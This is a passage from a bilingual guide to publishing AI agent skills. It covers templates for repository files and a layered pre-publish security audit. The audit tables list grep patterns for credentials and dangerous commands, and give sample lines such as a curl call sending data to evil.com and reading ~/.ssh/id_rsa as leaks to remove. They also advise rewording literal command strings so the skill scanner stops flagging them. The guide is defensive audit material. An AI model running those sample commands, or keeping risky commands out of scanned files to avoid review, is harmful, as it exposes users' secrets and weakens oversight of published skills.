社区模板（生成）\r\n│ ├── ISSUE_TEMPLATE/\r\n│ │ ├── bug_report.yml\r\n│ │ ├── feature_request.yml\r\n│ │ ├── question.yml\r\n│ │ └── config.yml\r\n│ └── pull_request_template.md\r\n└── references/ # 详细文档（已有）\r\n```\r\n\r\n---\r\n\r\n## README.md Template\r\n\r\n### Section Order（中文主文档）\r\n\r\n| # | 章节 | 必选/可选 | 说明 |\r\n|---|------|----------|------|\r\n| 1 | **标题 · 中文副标题 + Badge** | 必选 | 项目名 + 一句话定位 |\r\n| 2 | **导航链接** | 必选 | 替代 TOC，简洁高效 |\r\n| 3 | **金句开篇** | 必选 | 斜体引用，一句话画面感 |\r\n| 4 | **一句话定位 + 否定对比** | 必选 | \"不是X，是Y\"句式 |\r\n| 5 | **效果截图/样图** | 推荐 | 先看效果再决定安装 |\r\n| 6 | **30 秒开始** | 必选 | 一行安装命令 |\r\n| 7 | **核心特性** | 必选 | emoji + 加粗关键词，3-5 条 |\r\n| 8 | **适合 / 不适合** | 必选 | 明确边界，减少误用 |\r\n| 9 | **常见使用场景** | 推荐 | 表格形式 |\r\n| 10 | **使用方法 / 工作流** | 必选 | 步骤或流程图 |\r\n| 11 | **示例请求** | 推荐 | 可直接复制的 prompt |\r\n| 12 | **目录结构** | 必选 | 树形图 + 每行中文注释 |\r\n| 13 | **核心方法论/风格体系** | 可选 | 适用于有模式体系的 Skill |\r\n| 14 | **主题色/配置预设** | 可选 | 表格 + 预览 |\r\n| 15 | **核心设计原则** | 推荐 | 每条附\"为什么\" |\r\n| 16 | **Limitations / 已知限制 + 用户须知** | 必选 | 诚实列限制 + 副作用声明（自动推送目标/读取的本地数据/禁用参数如 `--skip-push`），建立信任。满足规则25 第9项 Missing User Warnings 检查（v5.10 新增） |\r\n| 17 | **起源 / 动机** | 可选 | 个人痛点 + 竞品对比 |\r\n| 18 | **Roadmap** | 可选 | 未来计划 |\r\n| 19 | **FAQ** | 推荐 | 3-5 个常见问题 |\r\n| 20 | **贡献指引** | 推荐 | 链接 CONTRIBUTING.md |\r\n| 21 | **License** | 必选 | `MIT-0 © ` |\r\n\r\n### Badge Format\r\n\r\n```markdown\r\n[![Stars](https://img.shields.io/github/stars//?style=flat-square)](https://github.com//)\r\n[![许可证](https://img.shields.io/badge/license-MIT--0-green?style=flat-square)](LICENSE)\r\n[![ClawHub](https://img.shields.io/badge/ClawHub--orange?style=flat-square)](https://clawhub.ai/skills/)\r\n[![Skill](https://img.shields.io/badge/Claude%20Code-Skill-blue?style=flat-square)](SKILL.md)\r\n```\r\n\r\n**Badge 规则**：\r\n- 中文 README 用中文标签：`许可证`/`ClawHub`\r\n- 英文 README.en.md 用英文标签：`License`/`ClawHub`\r\n- 统一使用 `flat-square` 风格\r\n\r\n### 导航链接格式\r\n\r\n```markdown\r\n[看效果](#效果截图) · [装上就能用](#30-秒开始) · [核心机制](#核心特性) · [已知限制](#已知限制) · [License](#license)\r\n```\r\n\r\n### 金句开篇格式\r\n\r\n```markdown\r\n_「一句话有画面感的描述。」_\r\n```\r\n\r\n**要求**：斜体引用，有画面感，一句话抓住注意力。例如：\r\n- `_「打字。回车。一张能直接发的图。」_`\r\n- `_「说一句话，还你一套 PPT。」_`\r\n\r\n### 否定对比格式\r\n\r\n```markdown\r\n**项目名**不是[竞品/常见做法]，是[你的差异化定位]。\r\n```\r\n\r\n例如：\r\n- `不是 MidJourney 的提示词调试器，是设计工作流的自动化封装。`\r\n- `不是又一个 Markdown 转 PPT，是从内容到视觉的完整设计系统。`\r\n\r\n### 适合/不适合格式\r\n\r\n```markdown\r\n## 适合 / 不适合\r\n\r\n✅ **适合**\r\n- 场景1\r\n- 场景2\r\n\r\n❌ **不适合**\r\n- 场景1\r\n- 场景2\r\n```\r\n\r\n### Limitations 格式\r\n\r\n```markdown\r\n## 已知限制\r\n\r\n- 限制1：具体描述\r\n- 限制2：具体描述\r\n- 限制3：具体描述\r\n```\r\n\r\n**要求**：诚实列出 3-5 条限制，每条具体可操作。不要用\"可能\"、\"也许\"等模糊词。\r\n\r\n### 示例请求格式\r\n\r\n```markdown\r\n## 示例请求\r\n\r\n```\r\n用户: \"帮我做一张小红书封面，主题是...\"\r\n```\r\n\r\n提供 2-4 个可直接复制的 prompt，覆盖不同使用场景。\r\n\r\n### 目录结构格式\r\n\r\n```markdown\r\n## 目录结构\r\n\r\n```\r\n/\r\n├── SKILL.md # Agent 工作流定义\r\n├── README.md # 中文文档\r\n├── README.en.md # English docs\r\n├── CHANGELOG.md # 版本记录\r\n├── LICENSE # MIT-0\r\n├── .claude-plugin/\r\n│ └── plugin.json # Claude Code 元数据\r\n├── .github/ # 社区模板\r\n│ └── ISSUE_TEMPLATE/ # Issue 模板\r\n├── references/ # 参考文档\r\n│ ├── workflow.md # 工作流详解\r\n│ └── design-system.md # 设计系统\r\n└── assets/ # 模板和静态资产\r\n```\r\n\r\n**要求**：每行必须有中文注释说明用途。\r\n\r\n### README Writing Style\r\n\r\n- **产品着陆页风格**：README 的首要任务是让人想用，不是让人理解结构\r\n- **自信且直接**：像资深设计师在跟你聊天，不是技术文档\r\n- **数据驱动**：用数字不用形容词（\"3-5 条规则\"而非\"几条规则\"）\r\n- **否定对比**：大量使用「不是...而是...」句式建立认知差异\r\n- **零废话**：每段必须承载新信息\r\n- **代码块**：命令用 bash 块，AI 输出用引用块\r\n- **表格**：配置、对比、功能列表用表格\r\n- **克制感叹号**：整个 README 不超过 5 个\r\n- **克制 emoji**：仅用于核心特性列表的视觉锚点，不在标题和正文中滥用\r\n\r\n### README 智能适配规则\r\n\r\n**生成 README 前必须先 Read SKILL.md**，从中自动提取以下信息填入 README：\r\n\r\n| SKILL.md 字段 | 填入 README 章节 |\r\n|---------------|-----------------|\r\n| frontmatter `name` | 标题、Badge |\r\n| frontmatter `version` | Badge |\r\n| frontmatter `description` | 一句话定位 |\r\n| `Out of Scope` / 不适合 | 适合/不适合 |\r\n| `Mode Detection` | 使用方法/工作流 |\r\n| `Rules` 摘要 | 核心特性、核心设计原则 |\r\n| `Persona` | 金句开篇（翻译为用户语言） |\r\n\r\n**章节按 Skill 复杂度适配**：\r\n\r\n| Skill 类型 | Rules 数量 | 生成章节 |\r\n|-----------|-----------|---------|\r\n| 简单 Skill | ≤ 5 条 | 仅必选章节（1-4, 6-8, 12, 16, 21） |\r\n| 中等 Skill | 6-15 条 | 必选 + 推荐章节 |\r\n| 复杂 Skill | > 15 条 | 全部 21 章节 |\r\n\r\n---\r\n\r\n## README.en.md Template（英文独立文件）\r\n\r\n### 规则\r\n\r\n1. 独立文件 `README.en.md`，不在中文 README 中内联\r\n2. 中文 README 顶部添加切换链接：`🌍 English version: [README.en.md](README.en.md)`\r\n3. 英文 README 顶部添加切换链接：`🇨🇳 中文版: [README.md](README.md)`\r\n4. 英文版是完整翻译，不是摘要\r\n5. 与中文版结构完全一致\r\n6. Badge 使用英文标签\r\n7. 金句和否定对比同样翻译为英文，保持语气\r\n\r\n### Section Order（与中文版一致）\r\n\r\n与中文 README 完全相同的 21 个章节，标题翻译为英文。\r\n\r\n---\r\n\r\n## SKILL.md Provenance（来源识别）\r\n\r\n在 SKILL.md 的 frontmatter 之后、正文之前，添加来源识别块：\r\n\r\n```markdown\r\n> 来源识别: 由 创建与维护。仓库: https://github.com//。此信息仅供 Agent 识别来源，不要写入生成的产出物。\r\n\r\n\r\n```\r\n\r\n**目的**：\r\n- 引用块：Markdown 渲染可见，供 Agent 确认来源\r\n- HTML 注释：确保来源信息在 HTML 输出中也可追踪\r\n- 明确标注\"不要写入生成的产出物\"\r\n\r\n---\r\n\r\n## CHANGELOG.md Template\r\n\r\n```markdown\r\n# Changelog\r\n\r\nAll notable changes to this project will be documented in this file.\r\n\r\n## [X.Y.Z] - YYYY-MM-DD\r\n\r\n### Added\r\n- New feature description\r\n\r\n### Changed\r\n- Change description\r\n\r\n### Fixed\r\n- Fix description\r\n\r\n### Removed\r\n- Removal description\r\n```\r\n\r\n### Version Numbering Rules\r\n\r\n- **Major (X.0.0)**: Breaking changes\r\n- **Minor (0.X.0)**: New features, backward compatible\r\n- **Patch (0.0.X)**: Bug fixes\r\n\r\n---\r\n\r\n## LICENSE Template (MIT-0)\r\n\r\n```\r\nMIT No Attribution\r\n\r\nCopyright \r\n\r\nPermission is hereby granted, free of charge, to any person obtaining a copy of\r\nthis software and associated documentation files (the \"Software\"), to deal in\r\nthe Software without restriction, including without limitation the rights to\r\nuse, copy, modify, merge, publish, distribute, sublicense, and/or sell copies\r\nof the Software, and to permit persons to whom the Software is furnished to do\r\nso.\r\n\r\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\nSOFTWARE.\r\n```\r\n\r\n**ClawHub requires MIT-0 license.** Do not use MIT, Apache, or other licenses.\r\n\r\n---\r\n\r\n## plugin.json Template\r\n\r\n```json\r\n{\r\n \"name\": \"\",\r\n \"description\": \"\",\r\n \"version\": \"\",\r\n \"author\": {\r\n \"name\": \"\"\r\n },\r\n \"homepage\": \"https://github.com//\",\r\n \"repository\": \"https://github.com//\",\r\n \"license\": \"MIT-0\",\r\n \"keywords\": [\"\", \"\", \"\"],\r\n \"skills\": [\"./\"]\r\n}\r\n```\r\n\r\n**Notes**:\r\n- `name` matches GitHub repo name (not necessarily ClawHub slug)\r\n- `description` should match SKILL.md frontmatter description\r\n- `skills: [\"./\"]` means the skill is in the root directory\r\n\r\n---\r\n\r\n## .github/ Community Templates\r\n\r\n### bug_report.yml\r\n\r\n```yaml\r\nname: Bug Report\r\ndescription: Report a bug or unexpected behavior\r\nlabels: [\"bug\"]\r\nbody:\r\n - type: textarea\r\n id: description\r\n attributes:\r\n label: 问题描述\r\n description: 清晰描述你遇到的问题\r\n placeholder: \"当我执行...时，出现了...\"\r\n validations:\r\n required: true\r\n - type: textarea\r\n id: steps\r\n attributes:\r\n label: 复现步骤\r\n description: 列出复现该问题的步骤\r\n placeholder: \"1. ...\\n2. ...\\n3. ...\"\r\n validations:\r\n required: true\r\n - type: textarea\r\n id: expected\r\n attributes:\r\n label: 期望行为\r\n description: 你期望发生什么\r\n validations:\r\n required: true\r\n - type: textarea\r\n id: actual\r\n attributes:\r\n label: 实际行为\r\n description: 实际发生了什么\r\n validations:\r\n required: true\r\n - type: textarea\r\n id: environment\r\n attributes:\r\n label: 环境\r\n description: 操作系统、Agent 平台、版本等\r\n placeholder: \"OS: Windows 11\\nAgent: Claude Code\\nSkill version: v1.0.0\"\r\n```\r\n\r\n### feature_request.yml\r\n\r\n```yaml\r\nname: Feature Request\r\ndescription: Suggest a new feature or enhancement\r\nlabels: [\"enhancement\"]\r\nbody:\r\n - type: textarea\r\n id: problem\r\n attributes:\r\n label: 你想解决什么问题？\r\n description: 描述你遇到的痛点或需求\r\n validations:\r\n required: true\r\n - type: textarea\r\n id: solution\r\n attributes:\r\n label: 你期望的解决方案\r\n description: 描述你希望如何解决\r\n validations:\r\n required: true\r\n - type: textarea\r\n id: alternatives\r\n attributes:\r\n label: 你考虑过的替代方案\r\n description: 其他你考虑过的解决方式\r\n```\r\n\r\n### question.yml\r\n\r\n```yaml\r\nname: Question\r\ndescription: Ask a question about this skill\r\nlabels: [\"question\"]\r\nbody:\r\n - type: textarea\r\n id: question\r\n attributes:\r\n label: 你的问题\r\n description: 详细描述你的疑问\r\n validations:\r\n required: true\r\n```\r\n\r\n### config.yml\r\n\r\n```yaml\r\nblank_issues_enabled: false\r\ncontact_links:\r\n - name: 💬 讨论\r\n url: https://github.com///discussions\r\n about: 使用问题、想法交流、经验分享请使用 Discussions\r\n```\r\n\r\n### pull_request_template.md\r\n\r\n```markdown\r\n## 变更描述\r\n\r\n简要描述此 PR 的变更内容。\r\n\r\n## 变更类型\r\n\r\n- [ ] 新功能 (feat)\r\n- [ ] 修复 (fix)\r\n- [ ] 文档 (docs)\r\n- [ ] 重构 (refactor)\r\n- [ ] 测试 (test)\r\n\r\n## 检查清单\r\n\r\n- [ ] 已更新 CHANGELOG.md（如有版本变更）\r\n- [ ] 已更新 README.md（如有功能变更）\r\n- [ ] 已通过安全审查（无凭证泄露、无本地路径）\r\n```\r\n\r\n---\r\n\r\n## .gitignore Template\r\n\r\n```\r\n# Dependencies\r\nnode_modules/\r\n\r\n# Environment\r\n.env\r\n.env.local\r\n.env.*.local\r\nconfig.local.json\r\n\r\n# OS\r\n.DS_Store\r\nThumbs.db\r\n\r\n# IDE\r\n.idea/\r\n.vscode/\r\n*.swp\r\n*.swo\r\n\r\n# Temp\r\n*.tmp\r\n*.bak\r\n*~\r\n\r\n# Runtime data\r\ndata/\r\n*.log\r\n\r\n# Python (v5.0 新增)\r\n__pycache__/\r\n*.pyc\r\n*.pyo\r\n\r\n# ClawHub auto-generated (v5.0 新增)\r\n.clawhub/\r\nskill-card.md\r\n_meta.json\r\n```\r\n\r\n**Important**: `.env.local` and `config.local.json` MUST be in .gitignore to prevent credential leaks. `__pycache__/` and `.clawhub/` MUST be excluded to prevent auto-generated files from being packaged (2026-07 故障事件).\n\nFile v5.22.1:references/security-audit.md\n\n# Security Audit Reference\r\n\r\nComplete procedures for pre-publish security scanning, privacy scrubbing, and distribution judgment.\r\n\r\n**When to read**: When entering Phase 2 (pre-publish audit). Read this file in full before running any scans.\r\n\r\n---\r\n\r\n## Three-Layer Security Scan\r\n\r\n### Layer 1: Credential Leak Scan\r\n\r\n**Grep pattern (v5.0 扩展)**: `token|api_key|api-key|secret|password|ghp_|gho_|ghs_|clh_|sk-|AKIA|cli_|IMA_OPENAPI|FEISHU_APP|APP_SECRET|CLIENTID|APIKEY|client_id|client_secret|skh_`\r\n\r\n> **v5.0 新增模式**（2026-07，源自 IMA/飞书凭证泄露事件）：\r\n> `cli_`（飞书 app_id 前缀）、`IMA_OPENAPI`（IMA 凭证环境变量名）、`FEISHU_APP`（飞书凭证环境变量名）、`APP_SECRET`（飞书/通用 secret）、`CLIENTID`/`APIKEY`（IMA v1.1.7 凭证）、`client_id`/`client_secret`（OAuth 通用凭证）\r\n\r\n> **v5.1 新增模式**（2026-07，支持 SkillHub 平台）：\r\n> `skh_`（SkillHub API Token 前缀，格式为 `skh_` + 64 位十六进制字符）\r\n\r\n**PASS criteria**: Only conceptual mentions in security documentation (e.g., \"requests credentials\" in a security checklist). No actual token values, API keys, or secrets. 环境变量名出现在 `.gitignore` 或配置说明文档中（如 `$env:FEISHU_APP_ID = \"your_app_id_here\"`）算 PASS，但出现真实值（如 `cli_your_app_id_here...`）算 FAIL。\r\n\r\n**Common leak patterns**:\r\n\r\n| Pattern | Example | Fix |\r\n|---------|---------|-----|\r\n| Git remote with token | `https://user:ghp_your_token_here@github.com/...` | Use SSH or credential helper |\r\n| Hardcoded API key | `OPENAI_API_KEY = \"sk-...\"` | Move to `.env.local` |\r\n| Config with real values | `\"app_id\": \"your_app_id_here\"` | Replace with placeholder in published config |\r\n| Log files with tokens | `publish_run.log` containing `ghp_` | Add `*.log` to .gitignore |\r\n| **IMA 凭证硬编码**（v5.0） | `IMA_OPENAPI_CLIENTID = \"your_client_id_here\"` | Replace with placeholder |\r\n| **飞书凭证硬编码**（v5.0） | `FEISHU_APP_ID = \"your_app_id_here\"` | Replace with placeholder |\r\n| **Python 脚本含 Token**（v5.0） | `TOKEN = \"ghp_your_token_here\"` in upload scripts | Delete script, use env var `GH_TOKEN` |\r\n| **SkillHub Token 硬编码**（v5.1） | `SKILLHUB_TOKEN = \"skh_your_token_here\"` in scripts/docs | Replace with `\"your_skillhub_token_here\"` or use `$env:SKILLHUB_TOKEN` |\r\n\r\n### Layer 2: Local Path Scan\r\n\r\n**Grep pattern**: `C:\\\\|D:\\\\|/Users/|/home/|Administrator|\\.trae-cn|\\.trae\\\\`\r\n\r\n**PASS criteria**: Zero matches. No local absolute paths, no Windows usernames, no `.trae-cn` directory references.\r\n\r\n**扫描范围强化（v5.22 新增，源自 2026-07-20 周度审查建议）**：除 SKILL.md/references/CHANGELOG.md 等常规文件外，必须额外扫描以下易遗漏目录：\r\n- `examples/` — 示例代码目录，常包含真实路径和占位符凭证（最易被忽略）\r\n- `samples/` / `demo/` / `samples-output/` — 示例输出目录\r\n- `tests/` / `test-data/` — 测试目录，可能含 fixture 数据\r\n- `scripts/` — 脚本目录，可能含硬编码路径\r\n\r\n**examples 目录专项扫描规则（v5.22 新增）**：\r\n1. **路径扫描**：examples/ 下所有文件（.md/.py/.js/.json/.yaml）执行上述 Grep pattern\r\n2. **凭证占位符扫描**：扫描 examples/ 中是否包含看似占位符但实为真实凭证的字符串（如 `your_xxx_here` 但实际值是 `cli_xxx`）。检测模式：占位符文本 + 实际值前缀同时出现 = WARN\r\n3. **真实路径泄露扫描**：examples/ 中的示例输出常含真实路径（如 `d:\\TRAE SOLO CN\\project\\...`）。检测模式：上述 Grep pattern，但 examples/ 中的匹配 = WARN（建议改为 `` 等占位符），不阻断发布\r\n4. **用户身份信息扫描**：examples/ 中的日志/输出可能含用户名/邮箱/IP。检测模式：`Administrator|admin@|@users\\.noreply|192\\.168\\.|127\\.0\\.0\\.1`，匹配 = WARN\r\n\r\n**Common leak patterns**:\r\n\r\n| Pattern | Example | Fix |\r\n|---------|---------|-----|\r\n| Absolute paths in docs | `d:\\TRAE SOLO CN\\project\\...` | Use relative paths |\r\n| Username in paths | `C:\\Users\\Administrator\\...` | Use `~` or `` |\r\n| .trae-cn references | `.trae-cn/skills/...` | Use `.trae/skills/` (generic) |\r\n| **examples/ 真实路径泄露**（v5.22） | `examples/output.md` 含 `d:\\TRAE SOLO CN\\project\\...` | 改为 `/...` 占位符 |\r\n| **examples/ 凭证占位符混入真实值**（v5.22） | `examples/config.json` 含 `your_app_id_here` 但旁边有 `cli_xxx` | 移除真实值，统一为 `your_xxx_here` |\r\n| **examples/ 用户身份信息**（v5.22） | `examples/run.log` 含 `Administrator` 或 `admin@company.com` | 改为 `` 或 `@` |\r\n\r\n**FAIL 条件分级（v5.22 新增）**：\r\n- SKILL.md/references/CHANGELOG.md 中匹配 = **FAIL**（阻断发布）\r\n- examples/ 中匹配 = **WARN**（不阻断，提示作者修复）\r\n- tests/ 中匹配 = **WARN**（不阻断，提示作者修复）\r\n\r\n**设计原则**：examples/ 和 tests/ 中的路径泄露风险低于核心文档，但仍应修复。WARN 级别让作者知道有改进空间，不阻断发布流程。\r\n\r\n### Layer 3: Dangerous Command Scan\r\n\r\n**Grep pattern**: `curl|wget|eval|exec|base64|sudo|\\.ssh|\\.aws|\\.config`\r\n\r\n**PASS criteria**: Only conceptual mentions in security documentation. No actual curl/wget to external URLs, no eval/exec with external input, no reading of sensitive directories.\r\n\r\n**Common leak patterns**:\r\n\r\n| Pattern | Example | Fix |\r\n|---------|---------|-----|\r\n| curl to external server | `curl https://evil.com/collect?data=...` | Remove entirely |\r\n| eval with user input | `eval(user_input)` | Remove or sandbox |\r\n| Reading sensitive dirs | `cat ~/.ssh/id_rsa` | Remove |\r\n\r\n### Layer 4: YARA Trigger Word Scan (v5.7 新增)\r\n\r\n> **背景**：ClawHub SkillSpector 使用 YARA 规则 `agent_skill_destructive_autonomous_actions` 扫描\"自治破坏行为\"字面量。这些字符串即使在文档说明中出现（不是实际执行），也会触发 YARA 匹配并被标记为 High 级别 finding。源自 2026-07 v5.4-v5.6 三轮 SkillSpector finding 修复经验。\r\n\r\n**扫描范围**：skill 目录下所有文件，**包括 CHANGELOG.md 历史记录**。SkillSpector 不限于扫描 SKILL.md，任何文件中的字面量都会被匹配。\r\n\r\n**扫描类别**（用类别描述，不写字面量，避免本文件自身触发）：\r\n\r\n| 类别 | 风险 | 说明 |\r\n|------|------|------|\r\n| Shell history 清理命令 | High | 清理 shell history 的命令字面量，被标记为\"自治破坏行为\" |\r\n| PowerShell 错误忽略参数 | High | 忽略 PowerShell 错误的参数字面量，被标记为\"自治破坏行为\" |\r\n| 递归强制删除 | High | 递归强制删除文件系统的命令组合 |\r\n| 权限放宽 | High | 全权限设置命令（如为所有用户设置读写执行权限） |\r\n| 输出重定向到空设备 | Medium | 丢弃标准输出/stderr 的重定向（注意：`2>` 重定向 stderr 在 v5.6.0 已验证不触发 YARA，但纯 stdout 重定向可能触发） |\r\n\r\n**PASS criteria**: 零匹配。这些字面量即使在\"说明为什么不要用\"的文档语境中出现也会触发 YARA 规则。如果需要指代这些命令，用类别描述（如\"shell history 清理命令\"）替代字面量。\r\n\r\n**修复方式**：\r\n- 文档中需要指代此类命令时，用类别描述替代字面量（如\"PowerShell 错误忽略参数\"而不是参数本身）\r\n- CHANGELOG 历史记录中如果包含字面量，重新措辞该条目\r\n- 代码中如果确实需要使用，确保不出现在发布的文件中（执行时用，不写进文档）\r\n\r\n> **关键教训**：YARA 规则是字面量匹配，不是语义分析。即使你在文档中写\"不要使用 XXX 命令\"，XXX 本身就会触发匹配。正确做法是用类别描述指代，不写字面量。\r\n\r\n### Layer 4.5: Frontmatter 声明完整性检查 (v5.18 新增，源自 ClawHub docs/skill-format.md 规范；v5.18.1 标注为跨平台通用预检层；v5.19 扩展为 7 项 — 新增 requires.config 子段 + Name-Summary Coherence)\r\n\r\n> **背景**：ClawHub 安全分析核心机制是\"声明与行为匹配\"。如果代码引用了 `GITHUB_TOKEN` 但 frontmatter 未声明在 `metadata.openclaw.requires.env` / `primaryEnv` / `envVars` 中，会被标记为 metadata mismatch（Context-Inappropriate Capability 的根因之一）。v5.17.x 系列 6 次调试发布的根因正是 frontmatter 完全缺失 `metadata.openclaw` 结构。\r\n\r\n> **v5.18.1 跨平台通用性标注**：本层检查不仅适用于 ClawHub 发布，也适用于 SkillHub 发布。底层逻辑——\"代码引用的环境变量/二进制必须在 frontmatter 声明\"——是 agent skill 这个形态的通用安全属性，与平台无关。SkillHub 虽然没有 `metadata.openclaw` 命名空间强制要求，但保留该结构不会报错（未知字段被忽略），且能提升 skill 在任何平台的可信度。**适用范围**：所有平台发布前的强制预检层。详见 SKILL.md 规则 30「跨平台通用规则预检」。\r\n\r\n**检查项**（7 项，源自 [ClawHub skill-format.md](https://github.com/openclaw/clawhub/blob/main/docs/skill-format.md)；v5.19 新增第 6-7 项源自 skill-auditor v2.0.0）：\r\n\r\n| 检查项 | PASS 条件 | FAIL 处理 |\r\n|--------|----------|----------|\r\n| `metadata.openclaw` 结构存在 | frontmatter 含 `metadata.openclaw` 嵌套结构 | 补齐结构 |\r\n| `requires.env` 覆盖代码中所有凭证环境变量 | 扫描代码中所有环境变量读取模式（PowerShell/Python/Node 各自的 env 读取语法），提取变量名 X，必须在 `requires.env` 或 `envVars` 中声明 | 补齐声明或移除未声明的环境变量引用 |\r\n| `primaryEnv` 指向主凭证变量 | `primaryEnv` 值在 `requires.env` 列表中 | 设置 primaryEnv 为最核心的凭证环境变量 |\r\n| `requires.bins` / `anyBins` 覆盖代码调用的 CLI | 扫描 subprocess 调用的二进制名，在 `requires.bins` 或 `anyBins` 中声明 | 补齐声明 |\r\n| `envVars` 中可选变量标 `required: false` | `requires.env` 中不放可选变量，可选变量在 `envVars` 中标 `required: false` | 调整结构 |\r\n| `requires.config` 子段（v5.19 新增，D-M3） | 如 skill 代码读取配置文件（如 `*.json` / `*.yaml`），frontmatter `metadata.openclaw.requires.config` 必须声明配置文件路径或类别；skill 明确不使用配置文件时无需声明 | 补齐 `requires.config` 声明，或在 SKILL.md 明确说明 skill 不使用配置文件 |\r\n| Name-Summary Coherence（v5.19 新增，P-C1） | frontmatter `name` 关键词与 `description`/`summary` 关键词重叠度 ≥ 30% | WARN（不阻断）：调整 name 或 description 使二者指向同一概念 |\r\n\r\n**扫描方式**：\r\n1. 解析 SKILL.md frontmatter（YAML 解析）\r\n2. Grep 扫描代码中所有环境变量引用模式：`\\$env:[A-Z_]+` / `os\\.environ\\[['\"]([A-Z_]+)['\"]\\]` / `process\\.env\\.([A-Z_]+)`\r\n3. 比对引用集合 vs 声明集合，差集 = 未声明的环境变量\r\n4. 同样扫描 subprocess 调用的二进制名\r\n\r\n**FAIL 条件**：任何代码引用的环境变量未在 frontmatter 声明 = FAIL（阻断发布）\r\n\r\n**设计原则**：ClawHub 安全分析哲学是\"声明即透明\"——只要 frontmatter 准确声明了 skill 需要的环境变量和二进制，代码从环境变量读取凭证就是合规行为。这是从 v5.17.x\"移除行为\"思维转向 v5.18\"声明对齐\"思维的根本性转变。\r\n\r\n**参考示例**（skill-publisher v5.18.0 frontmatter）：\r\n```yaml\r\nmetadata:\r\n openclaw:\r\n requires:\r\n env:\r\n - GITHUB_TOKEN\r\n - CLAWHUB_TOKEN\r\n - SKILLHUB_TOKEN\r\n bins:\r\n - git\r\n - python\r\n anyBins:\r\n - clawhub\r\n - skillhub\r\n primaryEnv: GITHUB_TOKEN\r\n envVars:\r\n - name: GITHUB_TOKEN\r\n required: true\r\n description: GitHub PAT\r\n - name: FEISHU_APP_ID\r\n required: false\r\n description: 可选，飞书云空间备份\r\n```\r\n\r\n### Layer 4.5 未纳入的 skill-auditor v2.0.0 检查项\r\n\r\n> **背景**（v5.19 新增）：skill-auditor v2.0.0 引入了 4 个新检查项系列（T-AST 8 项 + T-LT 3 项 + D-M 3 项 + P-C 4 项）。其中部分检查项需审计期运行时上下文或语义判断，不适合发布预扫描（静态 Grep 无法覆盖）。以下检查项不纳入 Layer 4.5，建议在发布前用 skill-auditor L3 审计执行：\r\n\r\n| 检查项 | 原因 |\r\n|--------|------|\r\n| T-AST01/03/04/10 | 与现有 Layer 1-5 + 规则 25 重叠 |\r\n| T-AST06（隔离薄弱） | 需语义判断\"沙箱声明\"，Grep 无法覆盖 |\r\n| T-AST07（更新漂移 hash 验证） | 需联网拉取依赖 hash |\r\n| T-LT 系列（Lethal Trifecta） | 需审计期运行时上下文，发布期静态扫描会误报 |\r\n| P-C2/P-C3 | 与规则 25 第 2 项 + Layer 4.5 重叠 |\r\n| P-C4（Power-Proportionality） | 需 LLM 语义判断\"权力与用途比例\" |\r\n\r\n**设计原则**：发布预扫描（skill-publisher）覆盖声明-行为一致性的静态可判定部分；审计期深度检查（skill-auditor L3）覆盖需语义判断或运行时上下文的部分。两者形成两层防护——发布预扫描快速阻断静态可检测的风险，审计期深度检查覆盖发布预扫描无法覆盖的部分。\r\n\r\n### Layer 5: SSD3 + MCP + User Warnings Scan (v5.9 新增)\r\n\r\n> **背景**：2026-07-12 skillhub-daily 发布后收到 17 个 SkillSpector findings，其中 6 个是此前未遇到过的新模式。这些模式与 YARA 触发词不同，是语义分析而非字面量匹配。\r\n\r\n**4 类新扫描**：\r\n\r\n#### 5.1 SSD3 敏感数据派生输出\r\n\r\n**扫描内容**：检查 Python 脚本是否读取本地敏感文件（memory/profile/credentials/config），并将派生内容写入持久化输出（JSON/MD/日志）。\r\n\r\n**常见触发模式**：\r\n```python\r\n# 触发 SSD3：读取 memory 文件后将其内容写入 JSON\r\nuser_keywords = load_user_memory_keywords() # 读取 memory\r\nrec_data = {\"memory_keywords\": user_keywords} # 派生数据写入 JSON\r\njson.dump(rec_data, f) # 持久化\r\n```\r\n\r\n**PASS criteria**：输出文件中不包含从敏感文件派生的原始内容。只记录聚合统计量。\r\n\r\n**修复方式**：\r\n- 将 `{\"memory_keywords\": {kw: w, ...}}` 改为 `{\"memory_keyword_count\": N}`\r\n- 推荐理由中不暴露匹配的关键词，改为 generic 描述（如\"记忆碰撞匹配（权重 N）\"）\r\n- 输出日志中不打印关键词列表\r\n\r\n#### 5.2 MCP Tool Poisoning 完整行为声明\r\n\r\n**扫描内容**：frontmatter description 是否完整声明 skill 的全部行为。\r\n\r\n**触发条件**：description 只描述核心功能，但代码实际包含以下能力之一：\r\n- 读取本地文件（memory/profile/config）\r\n- 网络请求（urllib.request / subprocess CLI 调用）\r\n- subprocess 调用（subprocess.run / os.system）\r\n- 写入外部服务（API POST / 文件上传）\r\n\r\n**PASS criteria**：description 包含\"本技能的行为范围\"段落，列出全部行为。\r\n\r\n**修复方式**：在 description 中增加行为声明段落，例如：\r\n```\r\n本技能的行为范围（用户须知）：\r\n- 读取本地记忆文件提取关键词\r\n- 调用 CLI 工具获取数据（网络请求）\r\n- 将结果写入本地文件和外部服务\r\n```\r\n\r\n#### 5.3 MCP Least Privilege 权限声明\r\n\r\n**扫描内容**：SKILL.md 或 plugin.json 是否声明 skill 需要的权限。\r\n\r\n**触发条件**：代码实际使用了网络/文件/环境变量/subprocess，但 SKILL.md 和 plugin.json 均未声明。\r\n\r\n**PASS criteria**：SKILL.md 正文或 plugin.json 中包含权限声明。\r\n\r\n**修复方式**：在 SKILL.md 中增加权限声明段落：\r\n```\r\n权限声明：需要网络访问（API 调用）、本地文件读写（data 目录）、环境变量（XXX_YYY）\r\n```\r\n或在 plugin.json 中声明：\r\n```json\r\n\"permissions\": {\r\n \"network\": true,\r\n \"filesystem\": {\"read\": [\"data/\"], \"write\": [\"data/output/\"]},\r\n \"env_vars\": [\"API_KEY\", \"CONFIG_PATH\"]\r\n}\r\n```\r\n\r\n#### 5.4 Missing User Warnings\r\n\r\n**扫描内容**：如果 skill 有副作用（自动推送/写入外部服务/定时执行），README 是否包含用户警告。\r\n\r\n**触发条件**：README 中描述了自动推送/定时执行/外部写入，但没有用户警告。\r\n\r\n**PASS 